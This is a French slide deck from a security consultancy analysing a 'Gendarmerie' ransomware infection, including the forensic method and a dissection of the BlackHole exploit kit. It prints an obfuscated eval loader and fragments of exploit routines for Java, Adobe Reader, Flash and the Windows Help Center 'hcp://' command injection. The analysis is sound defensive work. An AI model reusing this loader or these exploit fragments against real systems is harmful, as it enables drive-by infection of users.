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B&A Consultants

Cabinet de conseil en sécurité informatique créé en 1996.

Conseils, suivi et assistance en sécurité informatique.

Audits de sécurité, de configurations, de code. . .

Tests d’intrusion, tests d’applications (bôıte blanche, bôıte
noire).

Analyses post-mortem de systèmes et applications.

Analyses de risques, gestion des risques sur l’information.

Ingéniérie de la sécurité informatique, recherche de solutions.

Formations à la sécurité informatique.

Expertise judiciaire (civile ou pénale) et expertises privées.

Animateur de ReSIST, groupe de travail régional de l’OSSIR
(www.ossir.org/resist)
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A toute fin utile. . .

La Gendarmerie Nationale n’a aucun rapport avec ce logiciel
malveillant, si ce n’est que son nom est utilisé afin d’effrayer les
victimes et les amener à verser une certaine somme d’argent à des
tiers.
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Depuis mi-décembre 2011

Nombreux
internautes touchés.

Eric Freyssinet en
parle (blog.

crimenumerique.fr/

2011/12/17).

Allemagne, Suisse,
Espagne,
Royaume-Uni
(versions
localisées).
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Sur le poste de l’utilisateur

Dans le cas rencontré :

Dès le démarrage
de l’ordinateur

Pour tous les
utilisateurs

Quel que soit le
mode (normal, sans
échec, etc.)

« Amende » de
200e
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A souligner

Identification de l’IP et du FAI de l’utilisateur

Identification du système d’exploitation

Géolocalisation de l’IP

Conclusion

Pour une personne non prévenue, couplé au logo de la Gendarmerie
nationale, ça fait sérieux et inquiétant.
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La demande

Règlement par
UKash

Ils auraient même
pu suggérer un
anti-virus
« homologué ».

⇒ Une demande de rançon très classique.
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Conclusion sur le blocage

Exécutable explorer.exe remplacé.

L’utilisateur travaillait avec un compte
administrateur. . .

Réinstallation d’un exécutable propre.

Et mise à jour complète du système.

Dans d’autres cas, modification clés de registre ({HKLM,HKCU}\
Software\Microsoft\Windows NT\CurrentVersion\

Winlogon\Shell notamment)
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Procédure mise en œuvre

1 Discussion avec l’utilisateur :

La page est apparue après une requête sur Google par rapport
à un site à forte visibilité.
Sans avoir cliqué sur quoi que ce soit.

2 Récupération de l’ordinateur.

3 Extraction du disque dur (et copie, on ne sait jamais).

4 Connexion à une station d’analyse forensique.

5 Et examen des éléments trouvés sur le disque dur.

Les outils

Principalement des outils de Nir Sofer (www.nirsoft.net)
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Suspicion forte

Analyse chronologie des accès disques

Identification d’un élément très suspect :

$ fls -o 208845 -l /dev/loop7 479

[...]

r/r 9229-128-3: explorer.exe

M:2008-04-14 14:00:00 (CEST)

A:2011-12-16 08:39:56 (CET)

C:2011-12-15 15:13:44 (CET)

B:2008-04-25 14:46:23 (CEST)

176128 0 0

[...]

Méta-données de explorer.exe modifiées juste dans le
créneau de l’incident.

VirusTotal : 19/12/2011 : 17/43, 17/01/2012 : 30/43
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Navigation de l’utilisateur

Une recherche sur Google. . .

Qui ramène vers des sites infectés. . .

Téléchargement du code agressif.
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Symptômes et solution
Analyse du logiciel malveillant

Des questions ?

Enchâınement des URIs

L’examen des référents (champ Referer) donne la chronologie
suivante :

1 Google.fr

2 SearchBigs.com

3 178.162.172.38

4 184.171.169.130

5 eurowatcheshq.net

6 findervid.com

7 g3kh4gk3hgk35h53aaaaaa.nl.ai

Questions

Lien entre la recherche Google et SearchBigs ? Que s’est-il passé
durant les 16 secondes entre la recherche Google et l’accès à
178.162.172.38 ?
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Symptômes et solution
Analyse du logiciel malveillant

Des questions ?

Le cache du navigateur

Quelques fichiers qui pourraient nous intéresser

Extraction et analyse de 9e9a2a3a4b8fc1d2.htm et de
19.htm
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Le fichier 9e9a2a3a4b8fc1d2.htm

EcmaScript qui décode puis exécute des données :

<html><body><script>

if(document.createTextNode)

aa=([].unshift+’rv35r32wr’).substr(2,4);

a=[null,new Array(...27 657 entiers...)];
v=aa; if(!((v!=’ncti’)&&(v!=’unct’))){w=String;e=eval;}

md="a"; c=’’; i=0; s=a[4-3];

while(i!=s.length){

c=c+w["f"+"r"+"o"+"mCharCo"+"de"](s[i] + 8);

i++;

}

e(c);

</script></body></html>
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Décodage

jsunpack et remise en page :

document.write(

’<center><h1>Please wait page is loading...</h1></center><hr>’);

function end_redirect() {}

var jver = [0, 0, 0, 0],

pdfver = [0, 0, 0, 0],

flashver = [0, 0, 0, 0];

try {

var PluginDetect = {

handler: function (c, b, a) {

return function () { c(b, a) {} },

isDefined: function (b) {

return typeof b != "undefined"

},

... [1500 lignes de code] . . .
</script></body></html>
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Base de code déjà vue

Dérivé du kit BlackHole.

Certaines vulnérabilités exploitées sont différentes.

Fonctions rendues obsolètes par des modifications du code,
mais pas effacées.

18 / 28



logo-BA
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Que fait le code ?

Variable PluginDetect contient du code très étoffé de
détection.

Variables jver, pdfver et flashver : identification des
versions de Java, du lecteur PDF et du greffon Flash.

Enchainement de six routines spl0() à spl5(), chacune
ajoutant (en fonction de résultats de tests) des données au
document courant.

Code de détection

PluginDetect.initScript();

PluginDetect.getVersion(".");

jver = PluginDetect.getVersion("Java", "./getJavaInfo.jar");

pdfver = PluginDetect.getVersion("AdobeReader");

flashver = PluginDetect.getVersion(’Flash’);
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PluginDetect

Outil générique de détection des greffons (Java, QuickTime,
DevalVR, Shockwave, Flash, Windows Media Player, Silverlight,
VLC Player, Adobe PDF Reader, Generic PDF Reader,
RealPlayer).

Identification de la plateforme :

système d’exploitation (Windows, MacOS, Linux, FreeBSD,
iPhone/iPod/iPad, WinCE/Mobile/PocketPC)
navigateur (IE, Firefox/Gecko, Safari, Chrome, Opera).

Version du navigateur est aussi identifiée, sauf pour Safari.

Si IE, contrôle si ActiveX est utilisable.

Dans notre cas, identification des versions de Java, Adobe
Reader et Flash.
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JAVA : fonctions spl0 et spl1

spl0

CVE-2011-3544

if (jver[1] == 6 && jver[3] <= 28) {

var f = document.createElement(’applet’);

f.setAttribute(’code’, ’Market.class’);

...

spl1

CVE-2010-0840

if (jver[1] < 6) {

var f = document.createElement(’applet’);

f.setAttribute(’code’, ’photo.Zoom.class’);

f.setAttribute(’archive’,

’./content/g43kb6j34kblq6jh34kb6j3kl4.jar’);

...
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PDF : fonction spl3

Fonction spl2 vide ; enchâıne directement spl3().

Va chercher un PDF contenant de l’EcmaScript.

Selon la version de Acrobat Reader identifiée :

URI fdp1.php : versions < 8 ; VirusTotal : 25/43 détections au
16 janvier 2012.
URI fdp2.php : versions 8 et 9.X, X <= 3 ; CVE-2010-0188 ;
VirusTotal : 15/41 détections.

if (pdfver[0] > 0 && pdfver[0] < 8) {

show_pdf(’./content/fdp1.php?f=19’)

} else if ((pdfver[0] == 8) ||

(pdfver[0] == 9 && pdfver[1] <= 3)) {

show_pdf2(’./content/fdp2.php?f=19’)

}
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Windows HCP : fonction spl4

Récupère une nouvelle page dans un IFRAME : 19.htm

for (var i = 0, m; i < navigator.plugins.length; i++) {

var name = navigator.plugins[i].name;

if (name.indexOf(’Media Player’) != -1) {

m = document.createElement(’IFRAME’);

m.setAttribute(’src’, ’./content/cph2.php?c=19’);

...

Vecteur de l’infection chez notre client (cf contenu cache
Firefox)
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Greffon Flash : fonction spl5

Versions 10.0.X avec X > 40, 10.1, 10.2.Y avec Y < 159.

CVE-2011-0611 : corruption de mémoire dans le greffon

var fname = "content/field";

var Flash_obj =

"<object

classid=’clsid:d27cdb6e-ae6d-11cf-96b8-444553540000’

width=10 height=10 id=’swf_id’>";

Flash_obj += "<param name=’movie’ value=’" + fname +

".swf’ />";

al = "always";

Flash_obj += "<param name=\"allowScriptAccess\" value=’" +

al + "’ />";

...

24 / 28



logo-BA
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Fichier 19.htm

Page codée de la même façon que 9e9a2a3a4b8fc1d2.htm

CVE-2010-1885 : validation d’URLs dans le Centre d’Aide.

Décodage :

<iframe src="hcp://services/search?query=anything&

topic=hcp://system/sysinfo/sysinfomain.htm%A%%A%

[95 fois %A%]

..%5C..%5Csysinfomain.htm%u003f

svr=<script defer>Run(’cmd /c ...

Exécution de commande dans le contexte de l’utilisateur.
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Conclusions sur BlackHole

Cadre fonctionnel évolué et évolutif.

Routine de test de configuration/greffons récupérée sur
Internet.

Teste différentes vulnérabilités (une seule directement liée au
système d’exploitation)

Ajouter ou modifier des routines comme splX() est trivial.

Outil industrialisé : 1500$ pour un an avec mises à jour,
1000$ pour six mois, 700$ pour un trimestre.

Se trouve facilement sur des sites de téléchargement
(MegaUpload et autres).

26 / 28



logo-BA
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Références

JSUnpack : jsunpack-n.googlecode.com

BlackHole : https://threatpost.com/en us/blogs/
black-hole-exploit-kit-available-free-052311

PluginDetect : www.pinlady.net/PluginDetect
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